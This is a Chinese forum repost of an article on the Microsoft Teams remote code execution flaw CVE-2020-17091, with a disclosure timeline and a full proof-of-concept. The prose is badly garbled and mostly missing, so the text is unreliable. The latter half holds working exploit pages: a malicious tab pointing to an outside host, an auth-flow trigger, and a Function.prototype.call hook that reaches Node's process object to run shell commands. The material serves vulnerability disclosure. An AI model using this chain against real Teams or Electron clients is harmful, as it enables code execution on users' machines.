[29030] 2021-06-24_如何用两年时间解决远程代码执行漏洞CVE-2020-17091

文档创建者:s7ckTeam
浏览次数:7
最后更新:2025-01-19
2021-06-24_如何用两年时间解决远程代码执行漏洞CVE-2020-17091   C V E - 2 0 2 0 - 1 7 0 9 1 O t s   2 0 2 1 - 0 6 - 2 4 O t s           - 广   =   M i c r o s o f t   T e a m s     M i c r o s o f t   T e a m s     ( R C E )     C o n t r a s t   L a b s     1 0 0 , 0 0 0   C o m m o n   V u l n e r a b i l i t i e s   a n d   E x p o s u r e s   ( C V E )   R C E 使 - 访 H R - - R C E   S o l a r W i n d s   O r i o n     R C E     1 2     R C E M i c r o s o f t   T e a m s     C O V I D   -   1 9   2 0 2 0     3     2 0 2 0     6   M i c r o s o f t   T e a m s   使 8 9 4 %   Z o o m   1 2     T e a m s 1 . 1 5   亿   T e a m s   M i c r o s o f t   广   T e a m s   使   W e b   T e a m s     E l e c t r o n   T e a m s     S l a c k     T e a m s   访   E l e c t r o n   使   A P I     U R L   E l e c t r o n   使   ( P O C )   使   T e a m s     T e a m s  
M i c r o s o f t   T e a m s   R C E     M a c O S     M i c r o s o f t   W i n d o w s   访       2 0 1 8     9     1     M i c r o s o f t     ( M S R C )     M i c r o s o f t   2 0 1 8     9     1         M S R C   2 0 1 8     1 1     2 7       B B P     2 0 1 8     1 2     3         2 0 1 9     3     2 5         2 0 1 9     3     2 5       B B P     2 0 1 9     4     1 6         2 0 1 9     5     6       Š u g g e s t e d   2 0 1 9     5     7       使   2 0 1 9     6     1 9         1 0 %     2 0 1 9     6     2 0         e n a b l e R e m o t e M o d u l e F i l t e r i n g V 5   2 0 1 9     6     2 0       M S R C     2 0 1 9     7     1 8         P O C   2 0 1 9     8     2     -     P O C   2 0 1 9     8     1 5         2 0 1 9     8     2 7         P O C   P O C   2 0 1 9     1 0     1 4         2 0 1 9 1 1     2 1     M S R C M S R C     2 0 1 9     1 2     1 0         M S R C     2 0 2 0     1     3 1       M S R C     2 0 2 0     1 0     2 7       M S R C     C V E - 2 0 2 0 - 1 7 0 9 1   2 0 2 0     1 1     1 6       M S R C     1   C V E - 2 0 2 0 - 1 7 0 9 1   C V E   M i c r o s o f t   T e a m s     M i c r o s o f t     O f f i c e   3 6 5     T e a m s     M i c r o s o f t   Y a m m e r     E l e c t r o n    
便 P w n 2 O w n   2 0 2 1   M i c r o s o f t   T e a m s     R C E     M i c r o s o f t   T e a m s     T e a m s   1 .   2 .   使   1 , 0 0 0   3 .   使 4 .   S a a S - 使   R C E     M i c r o s o f t   T e a m s     R C E     I n s i d e   A p p S e c   访   C V E - 2 0 2 0 - 1 7 0 9 1 C o n t r a s t   L a b s     M i c r o s o f t   T e a m s       < ! D O C T Y P E   h t m l > < h t m l >         < h e a d >                 < s t y l e >                         b o d y {                         b a c k g r o u n d - c o l o r : # F 0 F 2 F 4 ; c o l o r : # 1 6 2 3 3 A ; f o n t   f a m i l y : ' S e g o e   U I ' ,   T a h o m a ,   H e l v e t i c a ,   S a n s - S e r i f ; f o n t - s i z e : 0 . 8 7 5 r e m ; f o n t - w e i g h t : 4 0 0 ; l i n e - h e i g h t : 1 . 2 5 r e m }                           } < / s t y l e >             < s c r i p t   s r c = " h t t p s : / / s t a t i c s . t e a m s . m i c r o s o f t . c o m / s d k / v 1 . 0 / j s / M i c r o s o f t T e a m s . m i n . j s " > < / s c r i p t >             < s c r i p t >                 ( f u n c t i o n ( )   {                         ' u s e   s t r i c t ' ;                         / /   C a l l   t h e   i n i t i a l i z e   A P I   f i r s t                         m i c r o s o f t T e a m s . i n i t i a l i z e ( ) ;                         / /   T r i g g e r   t h e   r e m o t e   l o g i n   p a g e                         m i c r o s o f t T e a m s . s e t t i n g s . r e g i s t e r O n S a v e H a n d l e r ( f u n c t i o n ( s a v e E v e n t )   {                                 m i c r o s o f t T e a m s . s e t t i n g s . s e t S e t t i n g s ( {                                         c o n t e n t U r l :   ' h t t p s : / / m a u s t i n . n e t / h a x / t e a m s / ' ,                                           e n t i t y I d :   ' h t t p s : / / m a u s t i n . n e t / h a x / t e a m s / '                                 } ) ;                                 s a v e E v e n t . n o t i f y S u c c e s s ( ) ;                         } ) ;                         / /   L o g i c   t o   l e t   t h e   u s e r   c o n f i g u r e   w h a t   t h e y   w a n t   t o   s e e   i n   t h e   t a b   b e i n g   l o a d e d                         d o c u m e n t . a d d E v e n t L i s t e n e r ( ' D O M C o n t e n t L o a d e d ' ,   f u n c t i o n ( )   {                                 m i c r o s o f t T e a m s . s e t t i n g s . s e t V a l i d i t y S t a t e ( t r u e ) ;                         } ) ;                 } ) ( ) ; < / s c r i p t >         < / h e a d >         < b o d y >                 < h 2 > s a v e < / h 2 >         < / b o d y > < / h t m l > < ! D O C T Y P E   h t m l > < h t m l >         < h e a d >             < s t y l e >             b o d y {                     b a c k g r o u n d - c o l o r : # F 0 F 2 F 4 ; c o l o r : # 1 6 2 3 3 A ; f o n t   f a m i l y : ' S e g o e   U I ' ,   T a h o m a ,   H e l v e t i c a ,   S a n s - S e r i f ; f o n t - s i z e : 0 . 8 7 5 r e m ; f o n t - w e i g h t : 4 0 0 ; l i n e - h e i g h t : 1 . 2 5 r e m }               } < / s t y l e >             < s c r i p t   s r c = " h t t p s : / / s t a t i c s . t e a m s . m i c r o s o f t . c o m / s d k / v 1 . 0 / j s / M i c r o s o f t T e a m s . m i n . j s " > < / s c r i p t >             < s c r i p t >                 ( f u n c t i o n ( )   {                         ' u s e   s t r i c t ' ;                         m i c r o s o f t T e a m s . i n i t i a l i z e ( ) ;                         / /   g e t   a   n e w   c o n t e x t   a n d   t r i g g e r   t h e   a u t h   w o r k f l o w                           m i c r o s o f t T e a m s . g e t C o n t e x t ( f u n c t i o n ( c o n t e x t ) {                                     m i c r o s o f t T e a m s . a u t h e n t i c a t i o n . a u t h e n t i c a t e ( {                                 u r l :   ' s t e p 2 . h t m l ' ,                                 w i d t h :   5 5 0 ,                                 h e i g h t :   6 6 0 ,
* * *   A p p S e c   O b s e r v e r   M a t t   A u s t i n h t t p s   :   / / w w w . c o n t r a s t s e c u r i t y . c o m / s e c u r i t y - i n f l u e n c e r s / h o w - i t - t o o k - t w o - y e a r s - t o - r e s o l v e - r e m o t e - c o d e - e x e c u t i o n - v u l n e r a b i l i t y - c v e - 2 0 2 0 - 1 7 0 9 1                                 s u c c e s s C a l l b a c k :   f u n c t i o n ( )   { } ,                                 f a i l u r e C a l l b a c k :   f u n c t i o n ( )   { }                             } ) ;                         } ) ;                 } ) ( ) ; < / s c r i p t >         < / h e a d >         < b o d y >                 M i c r o s o f t   T e a m s   P O C         < / b o d y > < / h t m l > < ! D O C T Y P E   h t m l > < h t m l >         < h e a d >             < s c r i p t >             / /   w i t h o u t   c o n t e x t   i s o l a t i o n   t h e   F u n c t i o n   p r o t o t y p e   i s   s h a r e d   w i t h   w i t h   n o d e j s   i n t e r n a l s .               / /   t h i s   m e a n s   w e   c a n   o v e r l o a d   a n d   a   h o o k   a   f u n c t i o n   c a l l   t h a t   g e t s   t h e   n o d e   " p r o c e s s "   o b j e c t .               F u n c t i o n . p r o t o t y p e . c a l l =   n e w   P r o x y ( F u n c t i o n . p r o t o t y p e . c a l l ,   {                 a p p l y :   f u n c t i o n ( t a r g e t ,   t h i s A r g ,   a r g u m e n t s L i s t )   {                     v a r   r e t   =   R e f l e c t . a p p l y ( t a r g e t ,   t h i s A r g ,   a r g u m e n t s L i s t ) ;                                 i f ( a r g u m e n t s L i s t [ 0 ] . p i d ) {   / /   t h i s   i s   p r o b a b l y   a   p r o c e s s   r e f                         a r g u m e n t s L i s t [ 0 ] . m a i n M o d u l e . r e q u i r e ( ' c h i l d _ p r o c e s s ' ) . e x e c S y n c ( ' o p e n   / A p p l i c a t i o n s / C a l c u l a t o r . a p p ' ) ;                     }                     r e t u r n   r e t                 }             } ) ;             l o c a t i o n . h r e f = " d o n e . h t m l " < / s c r i p t >         < / h e a d >         < b o d y >                 M S T e a m s   P O C   S t e p   # 2         < / b o d y > < / h t m l >
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则